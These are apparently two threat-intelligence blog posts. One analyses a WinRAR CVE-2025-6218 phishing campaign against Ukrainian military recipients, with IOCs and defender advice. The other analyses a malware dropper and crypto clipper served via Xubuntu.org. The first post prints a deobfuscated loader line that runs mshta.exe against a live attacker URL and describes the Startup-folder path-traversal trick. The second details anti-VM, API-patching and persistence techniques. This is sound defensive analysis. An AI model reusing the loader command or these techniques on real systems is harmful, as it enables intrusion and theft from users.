Передати засобами АСУ Дніпро_2_7_4_62_13.11.2025.pdf7d3d917380c37b08d3420567e318e1733eacef024125ba3969228a94694a4eecMalware BazaarASCII text

Передати засобами АСУ Дніпро_2_7_4_62_13.11.2025.pdf:.._.._.._.._.._.._AppData_Roaming_Microsoft_Windows_Start Menu_Programs_Startup_2_7_4_62_13.11.2025.HTA
bbd91d4294000198a5cc71a722d3d67f73896f21aafc97de374365a513397c7cMalware Bazaarhta text/html


The campaign I observed clearly targets Ukrainian entities, something we can identify mainly by the filenames used:

Original FilenameEnglish Translation
Повістка про виклик_357-16230-25_24.10.2025.pdfSubpoena_357-16230-25_24.10.2025.pdf
Щодо надання інформації (військова частина А0135_11-967_11.11.2025).pdfRegarding the provision of information (military unit A0135_11-967_11.11.2025).pdf
Перегляд підходів до призову під час мобілізації_2-3716-25_07.11.2025.pdfReview of approaches to conscription during mobilisation_2-3716-25_07.11.2025.pdf
Запит на отримання інформації командира військової частини А0135_11-967_10.11.2025.pdfRequest for information from the commander of military unit A0135_11-967_10.11.2025.pdf
Передати засобами АСУ Дніпро_2_1_1_7755_11.11.2025.pdfTransfer via automated control system Dnipro_2_1_1_7755_11.11.2025.pdf
Передати засобами АСУ Дніпро_2_1_1_7755_12.11.2025.pdfTransfer via automated control system Dnipro_2_1_1_7755_12.11.2025.pdf
Передати засобами АСУ Дніпро_3_8_2_7442_13.11.2025.pdfTransfer via automated control system Dnipro_3_8_2_7442_13.11.2025.pdf
Передати засобами АСУ Дніпро_2_7_4_62_13.11.2025.pdfTransfer via automated control system Dnipro_2_7_4_62_13.11.2025.pdf

Primitive Bear is well-known for its spear-phishing operations, so none of this is surprising. What is new, however, is the use of RAR archives to load additional malware.
Unfortunately, we cannot definitively identify all recipients of these samples, but the filenames give us a pretty good idea of who they were intended for:

FileProbable recipient / ContextDerived from the name
Повістка про виклик_357-16230-25_24.10.2025.pdf Authorities/judiciary or territorial recruitment centers (ТЦК та СП) for mobilization“Повістка” can mean court/investigative authority or military summons.
Щодо надання інформації (військова частина А0135_11-967_11.11.2025).pdfMilitary Unit A0135 (Військова частина А0135)explicit mention of the unit
Перегляд підходів до призову під час мобілізації_2-3716-25_07.11.2025.pdfMobilization/personnel offices: ТЦК та СП, Mobilization Department in the MoD/General StaffThematic focus: “Approaches to convening”
Запит на отримання інформації командира військової частини А0135_11-967_10.11.2025.pdfCommander of military unit A0135explicitly addressed
Передати засобами АСУ Дніпро_2_1_1_7755_11.11.2025.pdfPositions with access to “АСУ Днепр” (АСУ = Automated Management/Information Systems)
This is typically MoD/ТЦК/Human Resources
“Transmit via ASU Dnipro” -> internal administration/data channel
Передати засобами АСУ Дніпро_2_1_1_7755_12.11.2025.pdfas aboveSeries/sequel document (different date)
Передати засобами АСУ Дніпро_3_8_2_7442_13.11.2025.pdfas aboveother internal classification/filing codes
Передати засобами АСУ Дніпро_2_7_4_62_13.11.2025.pdfas above


Now that we better understand the context of the samples, we can dive into the actual analysis. Since all samples share a nearly identical structure, we’ll look at the most recent one found, with the hash 237696ecc370688a8d1894eb2f95af53a3c0f8d42eb540b7f529b4d4f4492bc0

The victim receives a RAR archive containing two files: a fake PDF and a HTML Application (HTA).
The HTA file always has the same bizarre naming scheme:

<CUSTOM FILENAME>.pdf:.._.._.._.._.._.._AppData_Roaming_Microsoft_Windows_Start Menu_Programs_Startup_<HTA FILE>.hta


This immediately reveals the exploitation of CVE-2025-6218.

The vulnerability is a critical directory traversal -> remote code execution (RCE) flaw in WinRAR (up to version 7.11) on Windows.
The bug lies in how RAR archives process file paths: an attacker can craft an archive entry that writes files outside the intended extraction folder e.g., directly into the user’s Startup directory.

Once a file lands in an auto-executed location, it runs on next login or reboot, resulting in RCE with the current user’s privileges.
It still requires user interaction, such as opening a malicious archive.
The issue is fixed in WinRAR 7.12 (Beta 1) and later.

If you want to get a feeling for the vulnerability, a PoC is definitely worth looking at.

So what actually happens when the victim opens the RAR file?

  1. The user opens the archive.
  2. The archive extracts a .pdf into the current directory.
  3. The archive silently extracts an .hta containing obfuscated VBScript into the Startup folder.
  4. After reboot, the VBScript fetches additional malware.

It’s worth noting that the exploitation of CVE-2025-6218 requires only minimal user interaction. In most cases, the victim merely has to open the malicious RAR archive.
No special system configuration is required, no sandbox needs to be disabled, and no “advanced mode” must be enabled. WinRAR’s default extraction behavior is sufficient for the path traversal to write an HTA file directly into the user’s Startup folder.

long story short: the attacker relies only on the victim doing what victims do best, double-clicking whatever lands in their inbox.

Now let’s take a look at what such an HTA file actually looks like:

We see an obfuscation attempt that is, let’s put it politely, more bad than good.
Between the actual payload there’s a lot of junk lines:

These can be filtered out easily by looking at each assigned variable. If a variable never gets used or only references itself, it can be safely removed.
I did the cleanup manually, because the scripts are tiny and the obfuscation is by no means a masterpiece.

After removing the junk lines and renaming the important variables, I ended up with the following result:

The entire deobfuscation process took about five minutes. The script isn’t complex, so let’s walk through it.

Script Execution Flow


1. It creates a WScript.Shell instance

Set wshell = CreateObject("WScript.Shell")

2. It defines the payload command

payload = "WScript.Shell %WINDIR%\system32\mshta.exe http://president.gov.ua@readers[.]serveirc[.]com?/gSS_11.11.2025/kidneyfih/broadlyrQZ.pdf"
  • The string pretends to be a legitimate Windows component.
  • Using mshta.exe is classic: this Windows binary can directly execute remotely hosted HTA/HTML scripts, a typical Living-off-the-Land Binary (LOLBIN) abuse.

The URL

http://president.gov.ua@readers.serveirc.com?/gSS_11.11.2025/kidneyfih/broadlyrQZ.pdf

uses a phishing-like trick:

  • president.gov.ua@ looks like an official Ukrainian domain
  • the real host is readers.serveirc.com, a free DynDNS subdomain acting as C2 or malware hosting server.

3. It executes the payload silently

wshell.Run payload

4. Error suppression

On Error Resume Next

Runtime errors are ignored to avoid crashes or prompts.

5. It closes itself

Close

The script exists purely as a loader/downloader. No real payload is inside, instead it fetches the actual malware (another HTA, VBS, or EXE) from readers.serveirc.com.

This aligns perfectly with Primitive Bear’s usual TTPs:

  • multi-stage payload chains ending in backdoors for surveillance and exfiltration (e.g., Pteranodon, GammaLoad)
  • abuse of Windows-native binaries (mshta.exe, wscript.exe)
  • phishing documents themed around Ukrainian government topics (e.g., “повістка.pdf”)
  • fast-changing C2 infrastructure on free DNS services (serveirc.com, myftp.biz, ddns.net)

Primitive Bear’s operations often end in the deployment of modular backdoors such as Pteranodon or GammaLoad, both of which are staples of the group’s espionage toolkit:

  • Pteranodon: A long-running backdoor family used by Primitive Bear since at least 2016. It supports classic cyber-espionage features such as screenshot capture, file exfiltration, keystroke logging, command execution, and staged payload delivery. Modular, noisy, but effective enough for long-term access.
  • GammaLoad: A lightweight downloader/backdoor frequently used as the “next stage” after initial compromise. Typically retrieves secondary modules, maintains C2 connectivity, and prepares the system for more persistent implants. Often deployed through simple LOLBIN-based loaders (like the one used here).

Nothing revolutionary, just FSB’s usual grab-bag of surveillance toys 😉


Infrastructure used in the 2025 Ukraine Campaign (so far)

Throughout my analysis, I reviewed a large number of recent samples (October – November) from this threat actor. Below is a summary and visualization of the infrastructure I identified.

Used Domains & IPs in threat campaign

IP-AddressAssociated Domain
194.58.66.132document-downloads.ddns.net
“”print-documents.freedynamicdns.net
“”google-pdf.redirectme.net
“”document-prok.freedynamicdns.org
“”downloads-document.freedynamicdns.org
“”write-document.freedynamicdns.org
“”backup.9fvzesn.us
“”diskpart.myddns.me
194.87.230.166readers.serveirc.com
“”yeard.serveirc.com
“”dears.serveirc.com
“”fixer.serveirc.com
“”dilopendos.serveirc.com
194.87.240.215readers.serveirc.com
“”dilopendos.serveirc.com
“”political-news.serveirc.com
“”serversftp.serveirc.com
“”digitall.webhop.me
“”creates.webhop.me
“”acess-pdf.webhop.me
“”hosting-redirect.sytes.net
194.87.240.141political-news.serveirc.com
“”digitall.webhop.me
“”creates.webhop.me
“”acess-pdf.webhop.me
“”hosting-redirect.sytes.net
45.141.234.234acess-pdf.webhop.me
185.39.204.82open-pdf.serveftp.com
194.58.66.5pasive-host.gotdns.ch
“”papilonos.hopto.org
“”selodovo.myddns.me
“”systems-debug.ddns.net
“”admindt.ddns.net
“”kia-court.serveirc.com
“”downcraft.serveirc.com
“”procurature.freedynamicdns.org
“”ssu-procuror.redirectme.net
“”procuror.servehttp.com
CloudFlare IPlibraries-thus-yale-collaborative.trycloudflare.com
CloudFlare IPvacations-mic-games-scale.trycloudflare.com
CloudFlare IPapp-334825a6-4a2b-48bc-be92-e0582d656006.cleverapps.io
194.58.66.5No Domain
194.58.66.192No Domain

Identified requests

Request URLSample Hash
http://president.gov.ua@readers.serveirc.com?/gss_11.11.2025/kidneyfih/broadlyrQZ.pdfc7726c166e1947fdbf808a50b75ca7400d56fa6fef2a76cefe314848db22c76c
http://google.com@app-334825a6-4a2b-48bc-be92-e0582d656006.cleverapps.io/gpd_07.11.2025r/disputeqG1/concealedn2N.pdf21ad5d05a43d599b6225cd883b10356f4b8cd465a2fcb2745d90cfa65c6cffa1
http://regnum.com@dilopendos.serveirc.com?/moss_10.11.2025/futureHtG/accountc7z.pdf5437c7bc4423b8acb8a6646ac2cd5379101ac73b6011549b25f1cd95bb333cea
http://t.me@fixer.serveirc.com?/SUU_11.11.2025/dicontentedOhr/scoundrelit1.pdf6aa9741f8b8629d0398049fa91dc5e7c28fd0d63bc76b3fd9be2dc196265263f
http://www.crimea.kp.ua@dears.serveirc.com/SVrr_12.11.2025/crookoxQ/learningB4J.pdfd9fec61a4b1bb0ee158e65a7cea8c8098bf1ea2117289a48c2ae9e373bb50e22
http://www.bbc.com@fixfactors.serveirc.com?/mmoUU_13.11.2025/evolutionKPm/armourV2P.pdf237696ecc370688a8d1894eb2f95af53a3c0f8d42eb540b7f529b4d4f4492bc0
http://nv.ua@serversftp.serveirc.com?/sss_10.11.2025/dialGsd/horribleNQx.pdf7a1417492979f569747bf11211bf523d5479c163e717651ebba20ad73834b8bb
http://ssu.gov.ua@app-334825a6-4a2b-48bc-be92-e0582d656006.cleverapps.io/ss_07.11.2025/flashlightsK8Q/pondjsQ.pdf27bd90199e426719d1c3ef214215a17fae23f257d8bcb7a806e394e8666158f0
http://www.golosameriki.com@open-pdf.serveftp.com/motherrDJ/ssu/flowerbedD6M/dressmakerpvv.pdf27bd90199e426719d1c3ef214215a17fae23f257d8bcb7a806e394e8666158f0
http://5.8.18.46/sprdvth/tailor.ps118c4d384f8fef858accb57fff9dc4036bf52a051b249696b657162b1adcbf104
http://swet.tv@vacations-mic-games-scale.trycloudflare.com/regretxso/GP4/investigationer4/exhibtionLD6.pdf18c4d384f8fef858accb57fff9dc4036bf52a051b249696b657162b1adcbf104
http://google.com@document-downloads.ddns.net/OD/sensationaSL/AprilcWs.jpege4258bdfa82a1065aa1095ae2c6da4240f6ebe20ba285e56f1e216eec5984510
http://print-documents.freedynamicdns.net/SS/atomN2s/arwardU26.jpegeed1ab171c449173059d2c5955e6ddfa73aaf952c612210b82c85137f42e01b8
http://google-pdf.redirectme.net/OD/remisshKY/consentedjtP.jpegfc249b4686f4cfd98ab016aac32ecccf947012321a321d8e6463c17401b0c700
http://google.com@document-downloads.ddns.net/OD/quitzU2/comparativelyNWU.jpeg478604b0f9323082b61521045a310b3362f405a0781a735dfe72f8ffed054be7
https://libraries-thus-yale-collaborative.trycloudflare.com/Gost/pitchedcbY/intenseLKt.jpeg9ce60dde11c1ad72af22ccd774c0efe9c5a206e9dcfbc2388a1b09cc70747f09
http://194.58.66.5/Gost3611035faf63b8bf14c88a9bd02e3783f2bde3128c97f6317d4d4c912463ef39

The actor makes heavy use of DynDNS subdomains, such as:

  • readers.serveirc.com
  • dears.serveirc.com
    …and many others

All of these can be attributed to No-IP, which gives us a pool of recurring IP addresses (including IPs not associated with a Dyn-DNS domain name):

IP-AddressProviderCountry
194.58.66.5BAXET-GROUP-INC – interlir.comIndia
194.58.66.132BAXET-GROUP-INC – interlir.comIndia
194.58.66.192BAXET-GROUP-INC – interlir.comIndia
194.87.240.141relcom.comCzech Republic
194.87.230.166BAXET-GROUP-INC – interlir.comGreece
194.87.240.215relcom.comCzech Republic
185.39.204.82globconnex.comTurkey
45.141.234.234globconnex.comIreland
5.8.18.46PutinRussia


Some of these IP addresses are provided by InterLIR, including the realcom addresses.
InterLIR is essentially an IP address marketplace: companies in need of IPv4 or IPv6 space can buy, rent, or sub-lease unused ranges.
The platform advertises fast provisioning, legally vetted transfers, and a European business focus.

Since IPv4 addresses are scarce (and expensive), entire micro-economies have formed around services like this, which attackers happily exploit for disposable infrastructure.


I also rechecked which of the domains still resolve to an active host. During that process, I identified fourteen domains that are currently still active and are likely still being used by the threat actor.

acess-pdf.webhop.me
backup.9fvzesn.us
creates.webhop.me
dears.serveirc.com
digitall.webhop.me
dilopendos.serveirc.com
fixer.serveirc.com
google-pdf.redirectme.net
hosting-redirect.sytes.net
political-news.serveirc.com
freedynamicdns.net
readers.serveirc.com
serversftp.serveirc.com
yeard.serveirc.com

Based on the information available so far, we can also compile a final overview of the files that have been distributed through this infrastructure:


Distributed ByFile NameHash
document-downloads.ddns.net2-1180-25_24.06.2025.HTAaf860c5ce9401a7fed857169da9522966b5a5269b2a8a030aaf902299947eb5b
2-1180-25_24.06.2025.HTAe4258bdfa82a1065aa1095ae2c6da4240f6ebe20ba285e56f1e216eec5984510
rl_eed1ab171c449173059d2c5955e6ddfa73aaf952c612210b82c85137f42e01b8eed1ab171c449173059d2c5955e6ddfa73aaf952c612210b82c85137f42e01b8
print-documents.freedynamicdns.net040c9ed7-b806-4f08-b9d9-23301a968b03.tmp79343d0211758029b5fbffb89caa041f51a1f20ddcb39e4fd2c3ccf677ed5f07
rl_ab54862f180b379cb8d612fbb22891402e7d55151dba87e7b11e45c5e45b6d7cab54862f180b379cb8d612fbb22891402e7d55151dba87e7b11e45c5e45b6d7c
google-pdf.redirectme.net2-1180-25_24.06.2025.rarbc7e3c6c59d462b4aad5b8ea9d2f4d1eb9a70a28a6475ad2405adb8c701a8e05
2-1180-25_24.06.2025.HTA (copy)7c0af43f8a32cb68e7804844c03a1f73fa0121018f2684942c8bee13a665f62f
2-1180-25_24.06.2025.HTA (copy)78329e00fd2592eaa53c5f5a73bb635cd5e22300209c622e3d988fd7c0a3935a
document-prok.freedynamicdns.org2-1180-25_24.06.2025.HTA (copy)591cd91512c68ec091b824ee9084326153d3bb229f313f5869409c3358788d2f
write-document.freedynamicdns.org2-1180-25_24.06.2025.HTA4f844679b79baf9daa46751b7b6f15c2cb03a0162361f3863b42cf16e3a27984
dears.serveirc.com2_1_1_7755_12.11.2025.xhtml6256022d6a548acaf7fda1781a1121d2ea4d92ada829c9902c292e3aab27bd3f
hosting-redirect.sytes.netПовістка про виклик357-16230-25_24.10.2025.pdf:............_AppData_Roaming_Microsoft_Windows_Start Menu_Programs_Startup_357-16230-25_24.10.2025.HTAfe3c9988490f950ed0d34d807664161bd90ef4e981e314f5a62e37cdd2cc2127
open-pdf.serveftp.comЗвернення народного депутата Верховної Ради України IX скликання 11-2967-25_23.09.2025.HTA18c4d384f8fef858accb57fff9dc4036bf52a051b249696b657162b1adcbf104
11-2967-25_23.09.2025.rar68314e93b47d774e378d4c573f08417bf40ead61caaeafbc128c3c6dff96ae0c
11-2967-25_23.09.2025.rardd140737bd81f4cba11769bbda0d48e071bd604ec21993ec85a60669f29c5537
pasive-host.gotdns.ch837f64e8-811c-4045-a611-b51c85ac96d1.tmpc012ff34ff9f834e3d28ec6bb1fe3c9528ace6396b6103b0aae1ef6c140c2fbe
systems-debug.ddns.net2-1180-25_04.06.2025.HTA.crdownload (copy)d9330f235584d387d6a08d35f8d501777f4e0b2a545f4752d459a9ad24c74772
procurature.freedynamicdns.org2-1273-2025_06.08.2025.html631c02badd9ea7e2835256290f649a02136b1df312c4c8cd4d3f5df4558e3595
ssu-procuror.redirectme.net_ __ __ 2-1273-2025_07.08.2025.HTA.binf8f4d2e627462c2e8b443f2b8f5efe4c1f0c14d9b1796e9eb1a2b598e524eda0
procuror.servehttp.comlocalfile~e2232eed8cd5dd5ac898e65e25001e496f320155ef40582d8a2a6e221d655e00

This is not the full list of distributed files in this campaign, but i’ll keep track of further samples and update the list accordingly.


Recommendations for Defenders and Blue Teams

To mitigate and detect this campaign (and similar WinRAR-based exploitation attempts), i recommend the following defensive measures:

  • Update WinRAR immediately
    Ensure that WinRAR is updated to version 7.12 (Beta 1) or later, where CVE-2025-6218 has been patched.
  • Block execution of HTA files
    In most enterprise environments, .hta files should not be executed at all.
    Enforce this via AppLocker, WDAC, or enterprise GPO restrictions.
  • Monitor for LOLBIN misuse
    Flag suspicious executions of:
    • mshta.exe
    • wscript.exe
    • powershell.exe (especially with remote URLs)
  • Monitor the Startup folder
    Creation of .hta, .vbs, .js, or unknown executables inside:
    %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup
    …should always be treated as high-severity alerts, alway have an eye on this lol.
  • Inspect email attachments
    Particularly RAR/ZIP archives containing unusual path structures or files with “hidden extensions” (file.pdf:.hta, etc.).
  • Network defense
    Block known C2 domains and sinkhole DynDNS-based infrastructure where possible.
  • Endpoint logging
    Ensure Sysmon or a comparable EDR solution logs:
    • Process creation
    • File modification in Startup paths
    • Network connections from LOLBINs
    • Suspicious command-line parameters

Basically: watch for anything that behaves like Windows, but shouldn’t ^-^


IOC

Here is a list of all IOC’s of my analysis:

Click To Open IOC Table <<

TypeIOC
Domains (C2, Delivery, DynDNS Infrastructure)readers.serveirc.com
dears.serveirc.com
yeard.serveirc.com
fixer.serveirc.com
dilopendos.serveirc.com
serversftp.serveirc.com
political-news.serveirc.com
kia-court.serveirc.com
downcraft.serveirc.com
fixfactors.serveirc.com
document-prok.freedynamicdns.org
print-documents.freedynamicdns.net
downloads-document.freedynamicdns.org
write-document.freedynamicdns.org
procurature.freedynamicdns.org
google-pdf.redirectme.net
ssu-procuror.redirectme.net
acess-pdf.webhop.me
digitall.webhop.me
creates.webhop.me
papilonos.hopto.org
open-pdf.serveftp.com
procuror.servehttp.com
hosting-redirect.sytes.net
diskpart.myddns.me
selodovo.myddns.me
pasive-host.gotdns.ch
document-downloads.ddns.net
systems-debug.ddns.net
libraries-thus-yale-collaborative.trycloudflare.com
vacations-mic-games-scale.trycloudflare.com
app-334825a6-4a2b-48bc-be92-e0582d656006.cleverapps.io
backup.9fvzesn.us
Active Domains Identifiedacess-pdf.webhop.me
backup.9fvzesn.us
creates.webhop.me
dears.serveirc.com
digitall.webhop.me
dilopendos.serveirc.com
fixer.serveirc.com
google-pdf.redirectme.net
hosting-redirect.sytes.net
political-news.serveirc.com
freedynamicdns.net
readers.serveirc.com
serversftp.serveirc.com
yeard.serveirc.com
IP Addresses194.58.66.5
194.58.66.132
194.58.66.192
194.87.230.166
194.87.240.141
194.87.240.215
185.39.204.82
45.141.234.234
5.8.18.46
Cloudflare (used as fronting / relay)libraries-thus-yale-collaborative.trycloudflare.com
vacations-mic-games-scale.trycloudflare.com
List of Malicious URLs (Requests)http://president.gov.ua@readers.serveirc.com?/gss_11.11.2025/kidneyfih/broadlyrQZ.pdf
http://google.com@app-334825a6-4a2b-48bc-be92-e0582d656006.cleverapps.io/gpd_07.11.2025r/disputeqG1/concealedn2N.pdf
http://regnum.com@dilopendos.serveirc.com?/moss_10.11.2025/futureHtG/accountc7z.pdf
http://t.me@fixer.serveirc.com?/SUU_11.11.2025/dicontentedOhr/scoundrelit1.pdf
http://www.crimea.kp.ua@dears.serveirc.com/SVrr_12.11.2025/crookoxQ/learningB4J.pdf
http://www.bbc.com@fixfactors.serveirc.com?/mmoUU_13.11.2025/evolutionKPm/armourV2P.pdf
http://nv.ua@serversftp.serveirc.com?/sss_10.11.2025/dialGsd/horribleNQx.pdf
http://ssu.gov.ua@app-334825a6-4a2b-48bc-be92-e0582d656006.cleverapps.io/ss_07.11.2025/flashlightsK8Q/pondjsQ.pdf
http://www.golosameriki.com@open-pdf.serveftp.com/motherrDJ/ssu/flowerbedD6M/dressmakerpvv.pdf
http://5.8.18.46/sprdvth/tailor.ps1
http://swet.tv@vacations-mic-games-scale.trycloudflare.com/regretxso/GP4/investigationer4/exhibtionLD6.pdf
http://google.com@document-downloads.ddns.net/OD/sensationaSL/AprilcWs.jpeg
http://print-documents.freedynamicdns.net/SS/atomN2s/arwardU26.jpeg
http://google-pdf.redirectme.net/OD/remisshKY/consentedjtP.jpeg
http://google.com@document-downloads.ddns.net/OD/quitzU2/comparativelyNWU.jpeg
https://libraries-thus-yale-collaborative.trycloudflare.com/Gost/pitchedcbY/intenseLKt.jpeg
http://194.58.66.5/Gost
Malware Filenames / ArchivesПовістка про виклик_357-16230-25_24.10.2025.pdf
Щодо надання інформації (військова частина А0135_11-967_11.11.2025).pdf
Перегляд підходів до призову під час мобілізації_2-3716-25_07.11.2025.pdf
Запит на отримання інформації командира військової частини А0135_11-967_10.11.2025.pdf
Передати засобами АСУ Дніпро_2_1_1_7755_11.11.2025.pdf
Передати засобами АСУ Дніпро_2_1_1_7755_12.11.2025.pdf
Передати засобами АСУ Дніпро_3_8_2_7442_13.11.2025.pdf
Передати засобами АСУ Дніпро_2_7_4_62_13.11.2025.pdf
2-1180-25_24.06.2025.rar
11-2967-25_23.09.2025.rar
.pdf:............_AppData_Roaming_Microsoft_Windows_Start Menu_Programs_Startup.hta
Dropped / Delivered Payloads (HTA, HTML, tmp, Bin)2-1180-25_24.06.2025.HTA
040c9ed7-b806-4f08-b9d9-23301a968b03.tmp
2_1_1_7755_12.11.2025.xhtml
Повістка про виклик357-16230-25_24.10.2025.pdf:…………_AppData_Roaming_Microsoft_Windows_Start Menu_Programs_Startup_357-16230-25_24.10.2025.HTA
Звернення народного депутата Верховної Ради України IX скликання 11-2967-25_23.09.2025.HTA
837f64e8-811c-4045-a611-b51c85ac96d1.tmp
2-1180-25_04.06.2025.HTA.crdownload
2-1273-2025_06.08.2025.html
_ _ _ 2-1273-2025_07.08.2025.HTA.bin
localfile~
File Hashes (SHA-256)af860c5ce9401a7fed857169da9522966b5a5269b2a8a030aaf902299947eb5b
e4258bdfa82a1065aa1095ae2c6da4240f6ebe20ba285e56f1e216eec5984510
eed1ab171c449173059d2c5955e6ddfa73aaf952c612210b82c85137f42e01b8
79343d0211758029b5fbffb89caa041f51a1f20ddcb39e4fd2c3ccf677ed5f07
ab54862f180b379cb8d612fbb22891402e7d55151dba87e7b11e45c5e45b6d7c
bc7e3c6c59d462b4aad5b8ea9d2f4d1eb9a70a28a6475ad2405adb8c701a8e05
7c0af43f8a32cb68e7804844c03a1f73fa0121018f2684942c8bee13a665f62f
78329e00fd2592eaa53c5f5a73bb635cd5e22300209c622e3d988fd7c0a3935a
591cd91512c68ec091b824ee9084326153d3bb229f313f5869409c3358788d2f
4f844679b79baf9daa46751b7b6f15c2cb03a0162361f3863b42cf16e3a27984
6256022d6a548acaf7fda1781a1121d2ea4d92ada829c9902c292e3aab27bd3f
fe3c9988490f950ed0d34d807664161bd90ef4e981e314f5a62e37cdd2cc2127
18c4d384f8fef858accb57fff9dc4036bf52a051b249696b657162b1adcbf104
68314e93b47d774e378d4c573f08417bf40ead61caaeafbc128c3c6dff96ae0c
dd140737bd81f4cba11769bbda0d48e071bd604ec21993ec85a60669f29c5537
c012ff34ff9f834e3d28ec6bb1fe3c9528ace6396b6103b0aae1ef6c140c2fbe
d9330f235584d387d6a08d35f8d501777f4e0b2a545f4752d459a9ad24c74772
631c02badd9ea7e2835256290f649a02136b1df312c4c8cd4d3f5df4558e3595
f8f4d2e627462c2e8b443f2b8f5efe4c1f0c14d9b1796e9eb1a2b598e524eda0
e2232eed8cd5dd5ac898e65e25001e496f320155ef40582d8a2a6e221d655e00
c7726c166e1947fdbf808a50b75ca7400d56fa6fef2a76cefe314848db22c76c
21ad5d05a43d599b6225cd883b10356f4b8cd465a2fcb2745d90cfa65c6cffa1
5437c7bc4423b8acb8a6646ac2cd5379101ac73b6011549b25f1cd95bb333cea
6aa9741f8b8629d0398049fa91dc5e7c28fd0d63bc76b3fd9be2dc196265263f
d9fec61a4b1bb0ee158e65a7cea8c8098bf1ea2117289a48c2ae9e373bb50e22
237696ecc370688a8d1894eb2f95af53a3c0f8d42eb540b7f529b4d4f4492bc0
7a1417492979f569747bf11211bf523d5479c163e717651ebba20ad73834b8bb
27bd90199e426719d1c3ef214215a17fae23f257d8bcb7a806e394e8666158f0
9ce60dde11c1ad72af22ccd774c0efe9c5a206e9dcfbc2388a1b09cc70747f09
3611035faf63b8bf14c88a9bd02e3783f2bde3128c97f6317d4d4c912463ef39
e4258bdfa82a1065aa1095ae2c6da4240f6ebe20ba285e56f1e216eec5984510
Behavioral Indicators (TTP-level)mshta.exe
wscript.exe
powershell.exe -ExecutionPolicy Bypass -NoProfile -EncodedCommand
%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup*.hta
%TEMP%*.tmp
<legit-domain>@<C2-domain>/<malicious-path>


Analyzing Malware distributed by Xubuntu.org

Yesterday I discovered a malware incident that was distributed via the official Xubuntu website.
There is already a Reddit post that largely corroborates the incident.



Today I’m going to take a closer look at that malware sample.
SHA256: ec3a45882d8734fcff4a0b8654d702c6de8834b6532b821c083c1591a0217826.
The sample I analyzed is available on abuse.ch

(Tip for readers: always verify hashes from a trusted source before interacting with a sample.)

After downloading the sample I inspected its file metadata. This sample is not a native Win32 executable with x86 code, it is a .NET assembly. You can usually spot that with file or by looking for the CLR header (IMAGE_COR20) in the PE.

PE32 executable for MS Windows (GUI), Intel i386 Mono/.Net assembly

Concretely: the PE contains managed CIL/IL (Intermediate Language) and only a tiny native stub whose entry point calls _CorExeMain() (from mscoree.dll) to bootstrap the CLR. That means tools like Ghidra will show only a stub at the PE entry (the real logic lives in CLR metadata streams such as #~, #Strings and #Blob) and will not produce decompiled C# by default.

This pattern is typical for C#-based loader/dropper families. They often present a legitimate UI (in this case “SafeDownloader”) but hide malicious actions such as:

  • anti-VM / anti-debug checks
  • writing/extracting an encrypted payload to disk
  • creating persistence via registry autostart entries

For analysis I use ILSpy to decompile the managed code, Ghidra only shows the PE boot stub; the real logic is in the managed metadata and IL.

I decompiled the sample using ILSpy (CLI) with:

~/.dotnet/tools/ilspycmd -o ./decomp_output ec3a45882d8734fcff4a0b8654d702c6de8834b6532b821c083c1591a0217826.exe

Result:

ec3a45882d8734fcff4a0b8654d702c6de8834b6532b821c083c1591a0217826.decompiled.cs

After decompilation we get the Decompiled C# files the code I used for analysis is available on my GitHub.

The program is a WPF GUI wrapper (SafeDownloader) that social-engineers the user by showing Ubuntu/Xubuntu ISO links. When the user clicks Generate, the app calls an internal routine (named W.UnPRslEqVw() in the decompiled code) that is the real malware routine executed in the background.


Malware behavior (detailed)


Anti-analysis & sandbox evasion.

The loader first performs anti-analysis checks:

  • Debugger detection: Debugger.IsAttached and native IsDebuggerPresent() via kernel32.
  • Virtualization detection: uses WMI (ManagementObjectSearcher) to query system manufacturer/model and looks for keywords such as VMware, VirtualBox, QEMU, Parallels, Microsoft Corporation (common in VM images).

If any probe indicates a debug/VM environment, the program calls Environment.Exit(0) and quits, preventing payload execution in sandboxes.


API patching / self-modification

Self-modification / in-memory API patching:

The code modifies bytes in loaded system libraries (e.g. kernel32.dll and ntdll.dll). One patch replaces instructions with 0xC3 (a RET) to neuter functions (for example to alter the behavior of Sleep/delay functions used by sandboxes).
Another patch wrtes attacker-supplied bytes (XOR-decrypted) into memory

This is effectively inline hooking / API patching and can alter the behavior of timing/registry functions or attempt to disable runtime hooks that monitoring software or AV products use.


Dropper

The loader drops a second-stage executable:

CreateDirectoryNative(text2);
WriteFileNative(text3, data);
MoveFileNative(text3, text4);
SetAttributesNative(..., attributes);
  • creates a folder under %APPDATA% (via Environment.SpecialFolder.ApplicationData),
  • writes a Base64-encoded blob (then XOR-decoded with key 0xF7) into a .tmp file,
  • renames the .tmp to .exe, and sets file attributes (hidden/system) via native calls.

These helpers correspond to CreateDirectory, CreateFile/WriteFile, MoveFile, and attribute-setting wrappers in the code.


Registry persistence

SetRegistryPersistence(text4, regPath);

The sample writes an autostart entry into the registry using low-level APIs (NtSetValueKey from ntdll and RegOpenKeyEx from advapi32) to store a randomly generated value name with the path to the dropped EXE. Because it writes directly via native system calls (instead of higher-level wrappers), this may be an attempt to confuse or bypass some detection mechanisms that watch common API usage.


Execution & single-instance check

Before launching the dropped executable the loader checks whether a process with the same name is already running. If it is not, the loader starts the dropped binary, this avoids multiple simultaneous instances.


UI deception

The WPF UI displays legitimate Ubuntu download links to build trust. The user sees nothing suspicious while the loader writes the payload to disk, establishes persistence, and executes the dropped binary in the background.


Extracting and decoding the dropped payload

As we can see here, there is another Base64-encoded and XOR-obfuscated payload (XOR key = 247 / 0xF7) stored in the variable data:

I exported the Base64 blob to dropper_isolated.b64 and decoded + XOR-decoded it with:

python3 -c 'import base64; import sys; data = base64.b64decode(open("dropper_isolated.b64").read()); data = bytes([b ^ 0xF7 for b in data]); open("payload.bin","wb").write(data)'

The result payload.bin is a new PE native executable (x86 machine code), not a .NET assembly

I uploaded that binary to VirusTotal for a quick scan:

VirusTotal flags the payload as malicious and indicates that it is a cryptocurrency clipper, malware that monitors the Windows clipboard for crypto wallet addresses and replaces them with attacker-owned addresses so funds are redirected to the attacker’s wallet. With this classification we can pivot to a deeper static analysis (I used Ghidra for the native PE).

The native binary is small and relatively easy to analyze:

A quick strings scan shows clipboard-related APIs (OpenClipboard, GetClipboardData, SetClipboardData) a stronng indicator of clipper behavior.

A quick strings scan shows clipboard-related APIs (OpenClipboard, GetClipboardData, SetClipboardData) a strong indicator of clipper behavior.
I navigated to the function that implements these calls (named FUN_1400016b0 in my Ghidra session).


Clipboard routine overview.
The function reads the Windows clipboard:

  • opens the clipboard and calls GetClipboardData(CF_TEXT),
